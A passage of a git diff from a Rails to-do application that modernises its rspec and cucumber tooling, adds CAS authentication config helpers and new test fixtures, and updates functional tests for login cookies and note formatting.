+    STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***"
   end
-  task :features => 'db:test:prepare'
 rescue LoadError
-  desc 'Cucumber rake task not available'
-  task :features do
+  desc 'cucumber rake task not available (cucumber not installed)'
+  task :cucumber do
     abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin'
   end
 end
+
+end
diff --git a/lib/tasks/rspec.rake b/lib/tasks/rspec.rake
index 2a478a8b..dba3ffcc 100644
--- a/lib/tasks/rspec.rake
+++ b/lib/tasks/rspec.rake
@@ -1,12 +1,51 @@
-raise "To avoid rake task loading problems: run 'rake clobber' in vendor/plugins/rspec" if File.directory?(File.join(File.dirname(__FILE__), *%w[.. .. vendor plugins rspec pkg]))
-raise "To avoid rake task loading problems: run 'rake clobber' in vendor/plugins/rspec-rails" if File.directory?(File.join(File.dirname(__FILE__), *%w[.. .. vendor plugins rspec-rails pkg]))
+gem 'test-unit', '1.2.3' if RUBY_VERSION.to_f >= 1.9
+rspec_gem_dir = nil
+Dir["#{RAILS_ROOT}/vendor/gems/*"].each do |subdir|
+  rspec_gem_dir = subdir if subdir.gsub("#{RAILS_ROOT}/vendor/gems/","") =~ /^(\w+-)?rspec-(\d+)/ && File.exist?("#{subdir}/lib/spec/rake/spectask.rb")
+end
+rspec_plugin_dir = File.expand_path(File.dirname(__FILE__) + '/../../vendor/plugins/rspec')
 
-# In rails 1.2, plugins aren't available in the path until they're loaded.
-# Check to see if the rspec plugin is installed first and require
-# it if it is.  If not, use the gem version.
-rspec_base = File.expand_path(File.dirname(__FILE__) + '/../../vendor/plugins/rspec/lib')
-$LOAD_PATH.unshift(rspec_base) if File.exist?(rspec_base)
-require 'spec/rake/spectask'
+if rspec_gem_dir && (test ?d, rspec_plugin_dir)
+  raise "\n#{'*'*50}\nYou have rspec installed in both vendor/gems and vendor/plugins\nPlease pick one and dispose of the other.\n#{'*'*50}\n\n"
+end
+
+if rspec_gem_dir
+  $LOAD_PATH.unshift("#{rspec_gem_dir}/lib")
+elsif File.exist?(rspec_plugin_dir)
+  $LOAD_PATH.unshift("#{rspec_plugin_dir}/lib")
+end
+
+# Don't load rspec if running "rake gems:*"
+unless ARGV.any? {|a| a =~ /^gems/}
+
+begin
+  require 'spec/rake/spectask'
+rescue MissingSourceFile
+  module Spec
+    module Rake
+      class SpecTask
+        def initialize(name)
+          task name do
+            # if rspec-rails is a configured gem, this will output helpful material and exit ...
+            require File.expand_path(File.join(File.dirname(__FILE__),"..","..","config","environment"))
+
+            # ... otherwise, do this:
+            raise <<-MSG
+
+#{"*" * 80}
+*  You are trying to run an rspec rake task defined in
+*  #{__FILE__},
+*  but rspec can not be found in vendor/gems, vendor/plugins or system gems.
+#{"*" * 80}
+MSG
+          end
+        end
+      end
+    end
+  end
+end
+
+Rake.application.instance_variable_get('@tasks').delete('default')
 
 spec_prereq = File.exist?(File.join(RAILS_ROOT, 'config', 'database.yml')) ? "db:test:prepare" : :noop
 task :noop do
@@ -31,33 +70,33 @@ namespace :spec do
       IO.readlines("#{RAILS_ROOT}/spec/rcov.opts").map {|l| l.chomp.split " "}.flatten
     end
   end
-  
+
   desc "Print Specdoc for all specs (excluding plugin specs)"
   Spec::Rake::SpecTask.new(:doc) do |t|
     t.spec_opts = ["--format", "specdoc", "--dry-run"]
     t.spec_files = FileList['spec/**/*_spec.rb']
   end
 
-  desc "Print Specdoc for all plugin specs"
+  desc "Print Specdoc for all plugin examples"
   Spec::Rake::SpecTask.new(:plugin_doc) do |t|
     t.spec_opts = ["--format", "specdoc", "--dry-run"]
     t.spec_files = FileList['vendor/plugins/**/spec/**/*_spec.rb'].exclude('vendor/plugins/rspec/*')
   end
 
-  [:models, :controllers, :views, :helpers, :lib].each do |sub|
-    desc "Run the specs under spec/#{sub}"
+  [:models, :controllers, :views, :helpers, :lib, :integration].each do |sub|
+    desc "Run the code examples in spec/#{sub}"
     Spec::Rake::SpecTask.new(sub => spec_prereq) do |t|
       t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
       t.spec_files = FileList["spec/#{sub}/**/*_spec.rb"]
     end
   end
-  
-  desc "Run the specs under vendor/plugins (except RSpec's own)"
+
+  desc "Run the code examples in vendor/plugins (except RSpec's own)"
   Spec::Rake::SpecTask.new(:plugins => spec_prereq) do |t|
     t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
     t.spec_files = FileList['vendor/plugins/**/spec/**/*_spec.rb'].exclude('vendor/plugins/rspec/*').exclude("vendor/plugins/rspec-rails/*")
   end
-  
+
   namespace :plugins do
     desc "Runs the examples for rspec_on_rails"
     Spec::Rake::SpecTask.new(:rspec_on_rails) do |t|
@@ -74,59 +113,32 @@ namespace :spec do
     ::STATS_DIRECTORIES << %w(Controller\ specs spec/controllers) if File.exist?('spec/controllers')
     ::STATS_DIRECTORIES << %w(Helper\ specs spec/helpers) if File.exist?('spec/helpers')
     ::STATS_DIRECTORIES << %w(Library\ specs spec/lib) if File.exist?('spec/lib')
+    ::STATS_DIRECTORIES << %w(Routing\ specs spec/routing) if File.exist?('spec/routing')
+    ::STATS_DIRECTORIES << %w(Integration\ specs spec/integration) if File.exist?('spec/integration')
     ::CodeStatistics::TEST_TYPES << "Model specs" if File.exist?('spec/models')
     ::CodeStatistics::TEST_TYPES << "View specs" if File.exist?('spec/views')
     ::CodeStatistics::TEST_TYPES << "Controller specs" if File.exist?('spec/controllers')
     ::CodeStatistics::TEST_TYPES << "Helper specs" if File.exist?('spec/helpers')
     ::CodeStatistics::TEST_TYPES << "Library specs" if File.exist?('spec/lib')
-    ::STATS_DIRECTORIES.delete_if {|a| a[0] =~ /test/}
+    ::CodeStatistics::TEST_TYPES << "Routing specs" if File.exist?('spec/routing')
+    ::CodeStatistics::TEST_TYPES << "Integration specs" if File.exist?('spec/integration')
   end
 
   namespace :db do
     namespace :fixtures do
-      desc "Load fixtures (from spec/fixtures) into the current environment's database.  Load specific fixtures using FIXTURES=x,y"
+      desc "Load fixtures (from spec/fixtures) into the current environment's database.  Load specific fixtures using FIXTURES=x,y. Load from subdirectory in test/fixtures using FIXTURES_DIR=z."
       task :load => :environment do
+        ActiveRecord::Base.establish_connection(Rails.env)
+        base_dir = File.join(Rails.root, 'spec', 'fixtures')
+        fixtures_dir = ENV['FIXTURES_DIR'] ? File.join(base_dir, ENV['FIXTURES_DIR']) : base_dir
+
         require 'active_record/fixtures'
-        ActiveRecord::Base.establish_connection(RAILS_ENV.to_sym)
-        (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir.glob(File.join(RAILS_ROOT, 'spec', 'fixtures', '*.{yml,csv}'))).each do |fixture_file|
-          Fixtures.create_fixtures('spec/fixtures', File.basename(fixture_file, '.*'))
+        (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/).map {|f| File.join(fixtures_dir, f) } : Dir.glob(File.join(fixtures_dir, '*.{yml,csv}'))).each do |fixture_file|
+          Fixtures.create_fixtures(File.dirname(fixture_file), File.basename(fixture_file, '.*'))
         end
       end
     end
   end
-
-  namespace :server do
-    daemonized_server_pid = File.expand_path("spec_server.pid", RAILS_ROOT + "/tmp")
-
-    desc "start spec_server."
-    task :start do
-      if File.exist?(daemonized_server_pid)
-        $stderr.puts "spec_server is already running."
-      else
-        $stderr.puts "Starting up spec server."
-        system("ruby", "script/spec_server", "--daemon", "--pid", daemonized_server_pid)
-      end
-    end
-
-    desc "stop spec_server."
-    task :stop do
-      unless File.exist?(daemonized_server_pid)
-        $stderr.puts "No server running."
-      else
-        $stderr.puts "Shutting down spec_server."
-        system("kill", "-s", "TERM", File.read(daemonized_server_pid).strip) && 
-        File.delete(daemonized_server_pid)
-      end
-    end
-
-    desc "reload spec_server."
-    task :restart do
-      unless File.exist?(daemonized_server_pid)
-        $stderr.puts "No server running."
-      else
-        $stderr.puts "Reloading down spec_server."
-        system("kill", "-s", "USR2", File.read(daemonized_server_pid).strip)
-      end
-    end
-  end
+end
+
 end
diff --git a/lib/tracks/config.rb b/lib/tracks/config.rb
index fcca8157..0ca04f97 100644
--- a/lib/tracks/config.rb
+++ b/lib/tracks/config.rb
@@ -11,5 +11,17 @@ module Tracks
     def self.openid_enabled?
       auth_schemes.include?('open_id')
     end
+
+    def self.cas_enabled?
+      auth_schemes.include?('cas')
+    end
+
+    def self.prefered_auth?
+      if SITE_CONFIG['prefered_auth']
+        SITE_CONFIG['prefered_auth']
+      else
+        auth_schemes.first
+      end
+    end
   end
 end
\ No newline at end of file
diff --git a/public/javascripts/application.js b/public/javascripts/application.js
index 1fcc3f73..6266685e 100644
--- a/public/javascripts/application.js
+++ b/public/javascripts/application.js
@@ -187,11 +187,11 @@ function project_defaults(){
 function enable_rich_interaction(){
   $('input.Date').datepicker({'dateFormat': dateFormat});
   /* Autocomplete */
-  $('input[name=context_name]').autocomplete(contextNames, {matchContains: true});
-  $('input[name=project[default_context_name]]').autocomplete(contextNames, {matchContains: true});
-  $('input[name=project_name]').autocomplete(projectNames, {matchContains: true});
-  $('input[name=tag_list]').autocomplete(tagNames, {multiple: true,multipleSeparator:',',matchContains:true});
-  $('input[name=predecessor_list]').autocomplete('/todos/auto_complete_for_predecessor',
+  $('input[name=context_name]:not(.ac_input)').autocomplete(contextNames, {matchContains: true});
+  $('input[name=project[default_context_name]]:not(.ac_input)').autocomplete(contextNames, {matchContains: true});
+  $('input[name=project_name]:not(.ac_input)').autocomplete(projectNames, {matchContains: true});
+  $('input[name=tag_list]:not(.ac_input)').autocomplete(tagNames, {multiple: true,multipleSeparator:',',matchContains:true});
+  $('input[name=predecessor_list]:not(.ac_input)').autocomplete('/todos/auto_complete_for_predecessor',
       {multiple: true,multipleSeparator:','});
 
   /* have to bind on keypress because of limitataions of live() */
diff --git a/script/autospec b/script/autospec
index 82a314f1..837bbd7f 100755
--- a/script/autospec
+++ b/script/autospec
@@ -1,4 +1,6 @@
 #!/usr/bin/env ruby
+gem 'test-unit', '1.2.3' if RUBY_VERSION.to_f >= 1.9
 ENV['RSPEC'] = 'true'     # allows autotest to discover rspec
 ENV['AUTOTEST'] = 'true'  # allows autotest to run w/ color on linux
-system (RUBY_PLATFORM =~ /mswin|mingw/ ? 'autotest.bat' : 'autotest'), *ARGV
\ No newline at end of file
+system((RUBY_PLATFORM =~ /mswin|mingw/ ? 'autotest.bat' : 'autotest'), *ARGV) ||
+  $stderr.puts("Unable to find autotest.  Please install ZenTest or fix your PATH")
diff --git a/script/cucumber b/script/cucumber
old mode 100644
new mode 100755
index 7f2b6a35..7fa5c920
--- a/script/cucumber
+++ b/script/cucumber
@@ -1,8 +1,10 @@
 #!/usr/bin/env ruby
-begin
-  load File.expand_path(File.dirname(__FILE__) + "/../vendor/plugins/cucumber/bin/cucumber")
-rescue LoadError => e
-  raise unless e.to_s =~ /cucumber/  
-  require "rubygems"
-  load File.join(Gem.bindir, "cucumber")
-end
\ No newline at end of file
+
+vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
+if vendored_cucumber_bin
+  load File.expand_path(vendored_cucumber_bin)
+else
+  require 'rubygems' unless ENV['NO_RUBYGEMS']
+  require 'cucumber'
+  load Cucumber::BINARY
+end
diff --git a/script/spec b/script/spec
index c54cba1b..46fdbe6e 100755
--- a/script/spec
+++ b/script/spec
@@ -1,5 +1,10 @@
 #!/usr/bin/env ruby
-$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + "/../vendor/plugins/rspec/lib"))
-require 'rubygems'
-require 'spec'
-exit ::Spec::Runner::CommandLine.run(::Spec::Runner::OptionParser.parse(ARGV, STDERR, STDOUT))
+if ARGV.any? {|arg| %w[--drb -X --generate-options -G --help -h --version -v].include?(arg)}
+  require 'rubygems' unless ENV['NO_RUBYGEMS']
+else
+  gem 'test-unit', '1.2.3' if RUBY_VERSION.to_f >= 1.9
+  ENV["RAILS_ENV"] ||= 'test'
+  require File.expand_path(File.dirname(__FILE__) + "/../config/environment") unless defined?(RAILS_ROOT)
+end
+require 'spec/autorun'
+exit ::Spec::Runner::CommandLine.run
diff --git a/spec/factories.rb b/spec/factories/factories.rb
similarity index 100%
rename from spec/factories.rb
rename to spec/factories/factories.rb
diff --git a/spec/fixtures/todos.yml b/spec/fixtures/todos.yml
index 412feac8..b8af3088 100644
--- a/spec/fixtures/todos.yml
+++ b/spec/fixtures/todos.yml
@@ -55,3 +55,14 @@ buymilk:
   due: ~
   completed_at: <%= today %>
   user: admin_user
+
+callmom:
+  id: 5
+  context_id: 3 # call
+  project_id: ~
+  description: Call mom
+  notes: Remember her birthday
+  state: active
+  due: ~
+  completed_at: ~
+  user: admin_user
diff --git a/spec/models/context_spec.rb b/spec/models/context_spec.rb
index 5ed233d5..320c889b 100644
--- a/spec/models/context_spec.rb
+++ b/spec/models/context_spec.rb
@@ -51,37 +51,37 @@ describe Context do
   end
 
   describe 'when finding by namepart' do
-    scenario :todos
+    fixtures :todos, :contexts
 
     it 'finds with exact match' do
-      Context.find_by_namepart('errand').should == contexts(:errand)
+      Context.find_by_namepart('agenda').should == contexts(:agenda)
     end
 
     it 'finds with partial match' do
-      Context.find_by_namepart('err').should == contexts(:errand)
+      Context.find_by_namepart('age').should == contexts(:agenda)
     end
 
     it 'deletes todos within context when context deleted' do
-      contexts(:call).should have(2).todos
-      call_todos = contexts(:call).todos
-      contexts(:call).destroy
+      contexts(:agenda).should have(3).todos
+      call_todos = contexts(:agenda).todos
+      contexts(:agenda).destroy
       Todo.find(:all).should_not include(call_todos)
     end
   end
 
   describe 'when counting todos' do
-    scenario :todos
+    fixtures :todos, :contexts, :users, :preferences
 
     it 'returns correct number of completed todos' do
-      contexts(:call).should_not have(:any).done_todos
+      contexts(:call).done_todos.should_not have(:any).items
       contexts(:call).todos.first.complete!
-      contexts(:call).should have(1).done_todos
+      Context.find(contexts(:call).id).done_todos.should have(1).items
     end
 
     it 'returns correct number of not done todos' do
-      contexts(:call).should have(2).not_done_todos
-      contexts(:call).todos.last.complete!
-      contexts(:call).should have(1).not_done_todos
+      contexts(:agenda).todos.not_completed.should have(2).items
+      contexts(:agenda).todos.last.complete!
+      contexts(:agenda).todos.not_completed.should have(1).items
     end
   end
 end
diff --git a/spec/models/todo_spec.rb b/spec/models/todo_spec.rb
index 44c2e008..3f9a8278 100644
--- a/spec/models/todo_spec.rb
+++ b/spec/models/todo_spec.rb
@@ -4,7 +4,7 @@ describe Todo do
   def valid_attributes(attributes={})
     {
       :description => "don't forget the milk",
-      :context     => mock_model(Context, :name => 'errands')
+      :context     => mock_model(Context, :name => 'errands', :destroyed? => false)
     }.merge(attributes)
   end
 
diff --git a/spec/rcov.opts b/spec/rcov.opts
index baf694c9..274ed51a 100644
--- a/spec/rcov.opts
+++ b/spec/rcov.opts
@@ -1,2 +1,2 @@
---exclude "spec/*,gems/*" 
+--exclude "spec/*,gems/*"
 --rails
\ No newline at end of file
diff --git a/spec/scenarios/contexts_scenario.rb b/spec/scenarios/contexts_scenario.rb
deleted file mode 100644
index 719da5db..00000000
--- a/spec/scenarios/contexts_scenario.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class ContextsScenario < Scenario::Base
-  uses :users
-
-  def load
-    %w(Call Email Errand Someday).each_with_index do |context, index|
-      create_context context, index+1
-    end
-  end
-
-  def create_context(name, position)
-    create_model :context, name.downcase.to_sym,
-      :name     => name,
-      :position => position,
-      :hide     => name == 'Someday' ? true : false,
-      :created_at => Time.now,
-      :updated_at => Time.now,
-      :user_id    => user_id(:sean)
-  end
-end
diff --git a/spec/scenarios/projects_scenario.rb b/spec/scenarios/projects_scenario.rb
deleted file mode 100644
index 3b5624f1..00000000
--- a/spec/scenarios/projects_scenario.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-class ProjectsScenario < Scenario::Base
-  def load
-    create_project :build_time_machine, 'Build a working time machine'
-    create_project :make_more_money, 'Make more money than Billy Gates'
-    create_project :evict_dinosaurs, 'Evict dinosaurs from the garden'
-    create_project :attend_railsconf, 'Attend RailsConf'
-  end
-
-  def create_project(identifier, name)
-    attributes = {
-      :name       => name,
-      :state      => 'active',
-      :created_at => 4.day.ago,
-      :updated_at => 1.minute.ago
-    }
-    create_model :project,
-      identifier || attributes[:name].split.first.downcase.to_sym,
-      attributes
-  end
-end
diff --git a/spec/scenarios/todos_scenario.rb b/spec/scenarios/todos_scenario.rb
deleted file mode 100644
index ddaa7f93..00000000
--- a/spec/scenarios/todos_scenario.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class TodosScenario < Scenario::Base
-  uses :contexts, :projects, :users
-
-  def load
-    create_todo :bill,
-      :description => 'Call Bill Gates to find out how much he makes per day',
-      :user        => :sean,
-      :context     => :call,
-      :project     => :make_more_money
-    create_todo :bank,
-      :description => 'Call my bank',
-      :user        => :sean,
-      :context     => :call,
-      :project     => :make_more_money
-  end
-
-  def create_todo(identifier, options={})
-    context = options.delete(:context)
-    project = options.delete(:project)
-    user    = options.delete(:user)
-    attributes = {
-      :state  => 'active',
-      :created_at => 1.week.ago,
-      :context_id  => context_id(context),
-      :project_id  => project_id(project),
-      :user_id     => user_id(user)    
-    }.merge(options)
-    create_model :todo, identifier, attributes
-  end
-end
diff --git a/spec/scenarios/users_scenario.rb b/spec/scenarios/users_scenario.rb
deleted file mode 100644
index 5ed73b83..00000000
--- a/spec/scenarios/users_scenario.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class UsersScenario < Scenario::Base
-  def load
-    create_user :login => 'johnny', :first_name => 'Johnny',  :last_name => 'Smith'
-    create_user :login => 'jane',   :first_name => 'Jane',    :last_name => 'Pilbeam'
-    create_user :login => 'sean',   :first_name => 'Sean',    :last_name => 'Pallmer'
-  end
-
-  def create_user(attributes={})
-    password = attributes[:login] + Time.now.to_s
-    attributes = {
-      :password   => password,
-      :password_confirmation => password,
-      :is_admin   => attributes[:is_admin]  || false,
-    }.merge(attributes)
-    identifier = attributes[:login].downcase.to_sym
-    user = create_model :user, identifier, attributes
-    Preference.create(:show_number_completed => 5, :user => user)
-  end
-end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 1860a16a..e83f9daa 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -1,37 +1,14 @@
 # This file is copied to ~/spec when you run 'ruby script/generate rspec'
 # from the project root directory.
-ENV["RAILS_ENV"] = "test"
-require File.expand_path(File.dirname(__FILE__) + "/../config/environment")
-require 'spec'
+ENV["RAILS_ENV"] ||= 'test'
+require File.expand_path(File.join(File.dirname(__FILE__),'..','config','environment'))
+require 'spec/autorun'
 require 'spec/rails'
 require 'skinny_spec'
-require 'scenarios'
 
-module LuckySneaks
-  module ModelSpecHelpers
-    module ExampleGroupLevelMethods
-      def it_should_validate_length_of(attribute, options={})
-        maximum = options[:maximum] || (options[:within] || []).last   || false
-        minimum = options[:minimum] || (options[:within] || []).first  || false
-        raise ArgumentError unless maximum || minimum
-
-        it "should not be valid if #{attribute} length is more than #{maximum}" do
-          instance.send "#{attribute}=", 'x'*(maximum+1)
-          instance.errors_on(attribute).should include(
-            options[:message_too_long] || I18n.t('activerecord.errors.messages.too_long', :count => maximum)
-          )
-        end if maximum
-
-        it "should not be valid if #{attribute} length is less than #{minimum}" do
-          instance.send "#{attribute}=", 'x'*(minimum-1)
-          instance.errors_on(attribute).should include(
-            options[:message_to_short] || I18n.t('activerecord.errors.messages.too_short', :count => minimum)
-          )
-        end if minimum
-      end
-    end
-  end
-end
+# Requires supporting files with custom matchers and macros, etc,
+# in ./support/ and its subdirectories.
+Dir[File.expand_path(File.join(File.dirname(__FILE__),'support','**','*.rb'))].each {|f| require f}
 
 Spec::Runner.configure do |config|
   # If you're not using ActiveRecord you should remove these
@@ -70,6 +47,6 @@ Spec::Runner.configure do |config|
   # config.mock_with :rr
   #
   # == Notes
-  # 
-  # For more information take a look at Spec::Example::Configuration and Spec::Runner
+  #
+  # For more information take a look at Spec::Runner::Configuration and Spec::Runner
 end
diff --git a/spec/support/should_validate_length_of.rb b/spec/support/should_validate_length_of.rb
new file mode 100644
index 00000000..ae7b5a1a
--- /dev/null
+++ b/spec/support/should_validate_length_of.rb
@@ -0,0 +1,25 @@
+module LuckySneaks
+  module ModelSpecHelpers
+    module ExampleGroupLevelMethods
+      def it_should_validate_length_of(attribute, options={})
+        maximum = options[:maximum] || (options[:within] || []).last   || false
+        minimum = options[:minimum] || (options[:within] || []).first  || false
+        raise ArgumentError unless maximum || minimum
+
+        it "should not be valid if #{attribute} length is more than #{maximum}" do
+          instance.send "#{attribute}=", 'x'*(maximum+1)
+          instance.errors_on(attribute).should include(
+            options[:message_too_long] || I18n.t('activerecord.errors.messages.too_long', :count => maximum)
+          )
+        end if maximum
+
+        it "should not be valid if #{attribute} length is less than #{minimum}" do
+          instance.send "#{attribute}=", 'x'*(minimum-1)
+          instance.errors_on(attribute).should include(
+            options[:message_to_short] || I18n.t('activerecord.errors.messages.too_short', :count => minimum)
+          )
+        end if minimum
+      end
+    end
+  end
+end
diff --git a/test/fixtures/contexts.yml b/test/fixtures/contexts.yml
index 49ce9d2f..87ea5dba 100644
--- a/test/fixtures/contexts.yml
+++ b/test/fixtures/contexts.yml
@@ -131,3 +131,21 @@ anothercontext:
   user_id: 4
   created_at: <%= today %>
   updated_at: <%= today %>
+
+inbox:
+    id: 15
+    name: Inbox
+    position: 1
+    hide: false
+    user_id: 5
+    created_at: <%= today %>
+    updated_at: <%= today %>
+
+anothercontext:
+    id: 16
+    name: anothercontext
+    position: 2
+    hide: false
+    user_id: 5
+    created_at: <%= today %>
+    updated_at: <%= today %>
\ No newline at end of file
diff --git a/test/fixtures/dependencies.yml b/test/fixtures/dependencies.yml
new file mode 100644
index 00000000..d1180d8e
--- /dev/null
+++ b/test/fixtures/dependencies.yml
@@ -0,0 +1,3 @@
+buy_stock_then_email_broker:
+  successor_id: 19
+  predecessor_id: 11
diff --git a/test/fixtures/preferences.yml b/test/fixtures/preferences.yml
index cad91d12..77129787 100644
--- a/test/fixtures/preferences.yml
+++ b/test/fixtures/preferences.yml
@@ -53,4 +53,22 @@ sms_user_prefs:
   verbose_action_descriptors: false
   show_project_on_todo_done: true
   sms_email: 5555555555@tmomail.net
-  sms_context_id: 13
\ No newline at end of file
+  sms_context_id: 13
+
+other_user_prefs:
+    id: 4
+    user_id: 5
+    staleness_starts: 7
+    date_format: "%d/%m/%Y"
+    title_date_format: "%A, %d %B %Y"
+    show_number_completed: 5
+    show_completed_projects_in_sidebar: true
+    show_hidden_contexts_in_sidebar: true
+    show_hidden_projects_in_sidebar: true
+    admin_email: butshesagirl@rousette.org.uk
+    week_starts: 1
+    due_style: 0
+    refresh: 0
+    time_zone: "Los_Angeles"
+    verbose_action_descriptors: false
+    show_project_on_todo_done: true
diff --git a/test/fixtures/todos.yml b/test/fixtures/todos.yml
index 06a89436..ce26e327 100644
--- a/test/fixtures/todos.yml
+++ b/test/fixtures/todos.yml
@@ -243,4 +243,13 @@ call_bill_gates_every_day:
   due: <%= last_week %>
   completed_at: ~
   show_from: ~
-  recurring_todo_id: 1
\ No newline at end of file
+  recurring_todo_id: 1
+
+email_broker:
+  id: 19
+  user_id: 1
+  context_id: 3
+  description: Ask about better stocks
+  notes: ~
+  state: pending
+  
diff --git a/test/fixtures/users.yml b/test/fixtures/users.yml
index ef6f82c5..010cfcc4 100644
--- a/test/fixtures/users.yml
+++ b/test/fixtures/users.yml
@@ -37,4 +37,14 @@ sms_user:
   is_admin: false
   first_name: SMS
   last_name: Tester
-  auth_type: database
\ No newline at end of file
+  auth_type: database
+
+ldap_user:
+  id: 5
+  login: john
+  crypted_password: test
+  token: <%= Digest::SHA1.hexdigest("internationalSun Feb 19 14:42:45 GMT 20060.408173979260027") %>
+  is_admin: false
+  first_name: International
+  last_name: Harvester
+  auth_type: CAS
diff --git a/test/functional/login_controller_test.rb b/test/functional/login_controller_test.rb
index 3f5021b8..50da6ae8 100644
--- a/test/functional/login_controller_test.rb
+++ b/test/functional/login_controller_test.rb
@@ -90,7 +90,7 @@ class LoginControllerTest < ActionController::TestCase
   def test_should_delete_token_on_logout
     login_as :other_user
     get :logout
-    assert_equal @response.cookies["auth_token"], []
+    assert_nil @response.cookies["auth_token"]
   end
 
   def test_should_login_with_cookie
@@ -110,7 +110,7 @@ class LoginControllerTest < ActionController::TestCase
 
   def test_should_fail_cookie_login
     users(:other_user).remember_me
-    @request.cookies["auth_token"] = CGI::Cookie.new('name' => 'auth_token', 'value' => 'invalid_auth_token')
+    @request.cookies["auth_token"] = 'invalid_auth_token'
     get :login
     assert !@controller.send(:logged_in?)
   end
@@ -139,7 +139,7 @@ class LoginControllerTest < ActionController::TestCase
   private
         
   def auth_token_cookie_for(user)
-    CGI::Cookie.new('name' => 'auth_token', 'value' => users(user).remember_token)
+    users(user).remember_token
   end
   
     
diff --git a/test/functional/stats_controller_test.rb b/test/functional/stats_controller_test.rb
index c3f7fabe..3b0fb30e 100755
--- a/test/functional/stats_controller_test.rb
+++ b/test/functional/stats_controller_test.rb
@@ -56,7 +56,7 @@ class StatsControllerTest < ActionController::TestCase
     assert_equal 3, assigns['projects'].count
     assert_equal 3, assigns['projects'].count(:conditions => "state = 'active'")
     assert_equal 10, assigns['contexts'].count
-    assert_equal 16, assigns['actions'].count
+    assert_equal 17, assigns['actions'].count
     assert_equal 4, assigns['tags_count']
     assert_equal 2, assigns['unique_tags_count']
     assert_equal 2.week.ago.at_midnight, assigns['first_action'].created_at.at_midnight
diff --git a/test/functional/todos_controller_test.rb b/test/functional/todos_controller_test.rb
index c59ff232..855b8397 100644
--- a/test/functional/todos_controller_test.rb
+++ b/test/functional/todos_controller_test.rb
@@ -74,7 +74,7 @@ class TodosControllerTest < ActionController::TestCase
   end
 
   def test_create_todo
-    assert_difference Todo, :count do
+    assert_difference 'Todo.count' do
       login_as(:admin_user)
       put :create, :_source_view => 'todo', "context_name"=>"library", "project_name"=>"Build a working time machine", "todo"=>{"notes"=>"", "description"=>"Call Warren Buffet to find out how much he makes per day", "due"=>"30/11/2006"}, "tag_list"=>"foo bar"
     end
@@ -82,32 +82,12 @@ class TodosControllerTest < ActionController::TestCase
 
   def test_create_todo_via_xml
     login_as(:admin_user)
-    assert_difference Todo, :count do
+    assert_difference 'Todo.count' do
       put :create, :format => "xml", "request" => { "context_name"=>"library", "project_name"=>"Build a working time machine", "todo"=>{"notes"=>"", "description"=>"Call Warren Buffet to find out how much he makes per day", "due"=>"30/11/2006"}, "tag_list"=>"foo bar" }
       assert_response 201
     end
   end
 
-  def test_create_todo_via_xml_show_from
-    login_as(:admin_user)
-
-    assert_difference Todo, :count do
-      xml = "<todo><description>Call Warren Buffet to find out how much he makes per day</description><project_id>#{projects(:timemachine).id}</project_id><context_id>#{contexts(:agenda).id}</context_id><show-from type=\"datetime\">#{1.week.from_now.xmlschema}</show-from></todo>"
-
-      # p parse_xml_body(xml)
-      post :create, parse_xml_body(xml).update(:format => "xml")
-      assert_response :created
-    end
-  end
-
-  def parse_xml_body(body)
-    env = { 'rack.input' => StringIO.new(body),
-      'HTTP_X_POST_DATA_FORMAT' => 'xml',
-      'CONTENT_LENGTH'          => body.size.to_s }
-    ActionController::RackRequest.new(env).request_parameters
-  end
-
-
   def test_fail_to_create_todo_via_xml
     login_as(:admin_user)
     # #try to create with no context, which is not valid
@@ -466,10 +446,8 @@ class TodosControllerTest < ActionController::TestCase
     # check that the new_todo is in the tickler to show next month
     assert !new_todo.show_from.nil?
 
-    # use Time.zone.local and not today+1.month because the latter messes up
-    # the timezone. 
-    next_month = Time.zone.local(today.year, today.month+1, today.day)
-    assert_equal next_month.to_s(:db), new_todo.show_from.to_s(:db)
+    next_month = today + 1.month
+    assert_equal next_month.utc.to_date.to_s(:db), new_todo.show_from.utc.to_date.to_s(:db)
   end
 
   def test_check_for_next_todo
@@ -532,4 +510,55 @@ class TodosControllerTest < ActionController::TestCase
     assert_select("a[href=#{url}]")
   end
 
+  def test_format_note_normal
+    login_as(:admin_user)
+    todo = users(:admin_user).todos.first
+    todo.notes = "A normal description."
+    todo.save!
+    get :index
+    assert_select("div#notes_todo_#{todo.id}", "A normal description.")
+  end
+
+  def test_format_note_markdown
+    login_as(:admin_user)
+    todo = users(:admin_user).todos.first
+    todo.notes = "A *bold description*."
+    todo.save!
+    get :index
+    assert_select("div#notes_todo_#{todo.id}", "A bold description.")
+    assert_select("div#notes_todo_#{todo.id} strong", "bold description")
+  end
+
+  def test_format_note_link
+    login_as(:admin_user)
+    todo = users(:admin_user).todos.first
+    todo.notes = "A link to http://github.com/."
+    todo.save!
+    get :index
+    assert_select("div#notes_todo_#{todo.id}", 'A link to http://github.com/.')
+    assert_select("div#notes_todo_#{todo.id} a[href=http://github.com/]", 'http://github.com/')
+  end
+
+  def test_format_note_link_message
+    login_as(:admin_user)
+    todo = users(:admin_user).todos.first
+    todo.notes = "A Mail.app message://<ABCDEF-GHADB-123455-FOO-BAR@example.com> link"
+    todo.save!
+    get :index
+    # puts css_select("div#notes_todo_#{todo.id}")
+    assert_select("div#notes_todo_#{todo.id}", 'A Mail.app message://&lt;ABCDEF-GHADB-123455-FOO-BAR@example.com&gt; link')
+    assert_select("div#notes_todo_#{todo.id} a", 'message://&lt;ABCDEF-GHADB-123455-FOO-BAR@example.com&gt;')
+    assert_select("div#notes_todo_#{todo.id} a[href=message://&lt;ABCDEF-GHADB-123455-FOO-BAR@example.com&gt;]", 'message://&lt;ABCDEF-GHADB-123455-FOO-BAR@example.com&gt;')
+  end
+
+  def test_format_note_link_onenote
+    login_as(:admin_user)
+    todo = users(:admin_user).todos.first
